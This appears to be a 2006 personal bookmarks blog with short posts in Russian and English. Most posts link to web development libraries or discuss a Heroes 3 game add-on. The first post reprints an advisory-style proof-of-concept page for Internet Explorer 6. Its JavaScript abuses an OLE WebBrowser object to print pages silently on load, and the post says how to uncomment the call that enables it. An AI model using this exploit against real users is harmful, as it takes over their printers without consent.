Bookmarks Online

Internet Explorer Print without Prompting

Июнь 13th, 2006

Vulnerable Systems:
* Internet Explorer version 6

Using an OLE object, JavaScript, and HTML, IE 6 will allow a malicious document to send pages to the printer without prompting the user. An example page that exploits the vulnerability is given below. The offending line must be commented out in order for the page to work, so are any linebreaks that break the JavaScript code.
<html> <head> <script language="JavaScript"> function ieExecWB( intOLEcmd, intOLEparam ) { // Create OLE Object var WebBrowser = '<object ID="WebBrowser1" WIDTH=0 HEIGHT=0 CLASSID="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"></object>';


	          // Place Object on page

          document.body.insertAdjacentHTML('beforeEnd', WebBrowser);
	         // if intOLEparam is not defined, set it

          if ( ( ! intOLEparam ) || ( intOLEparam < -1 ) || ( intOLEparam > 1) )

           intOLEparam = 1;
	         // Execute Object

          WebBrowser1.ExecWB( intOLEcmd, intOLEparam );
	          // Destroy Object

          WebBrowser1.outerHTML = "";

}

function printAll() { // Uncomment this to enable the exploit! //ieExecWB(6,-1); } </script> </head> <body onload="printAll()"> <h3>I like your PRINTER</h3> </body> </html>

Posted in JavaScript | No Comments »

RTF Editor

Июнь 13th, 2006

http://www.telerik.com/r.a.d.controls/Editor/Examples/WhatsNew/DefaultVB.aspx

Posted in Web | 1 Comment »

Yahoo! User Interface Library

Июнь 13th, 2006

http://developer.yahoo.com/yui/

Yahoo! User Interface Library
The Yahoo! User Interface (YUI) Library is a set of utilities and controls, written in JavaScript, for building richly interactive web applications using techniques such as DOM scripting, DHTML and AJAX. The YUI Library also includes several core CSS resources.

Posted in Web, Главная | No Comments »

Google Web Toolkit

Июнь 13th, 2006

http://code.google.com/webtoolkit/

Google Web Toolkit (GWT) is a Java software development framework that makes writing AJAX applications like Google Maps and Gmail easy for developers who don’t speak browser quirks as a second language. Writing dynamic web applications today is a tedious and error-prone process; you spend 90% of your time working around subtle incompatibilities between web browsers and platforms, and JavaScript’s lack of modularity makes sharing, testing, and reusing AJAX components difficult and fragile.

Posted in Web, Главная | 1 Comment »

HMM 3

Ноябрь 10th, 2005

Я очень люблю играть в Героев 3 и терпеть не могу Героев 4. И я не одна такая. И я была очень рада когда нашла в инете такой ресурс как hmm3.fclan.ru
Тут вы можете скачать аддон к своим героям 3 и наслаждаться новыми возможностями игры.

Внимательно прочитайте всё на сайте, там подробно и доступно описано как и что надо делать что бы ваши герои стали WOGифицированы))

К сожалению, установка WoG на RoE ( Restoration of Erathia ) или AB ( Armageddon Blade ) ни к чему хорошему не приведет и игра работать НЕ БУДЕТ.

Что же есть интересного в версии WoG . Текущая версия на данный момент 3.58.

- разрушение городов
- монстры 8 уровня
- командиры
- другие нейтральные монстры
- боги
- новые герои
- обучение стрелковых башень
- скриптовый язык
- меню вогификации
и многое другое.

Posted in Games, Главная | 2 Comments »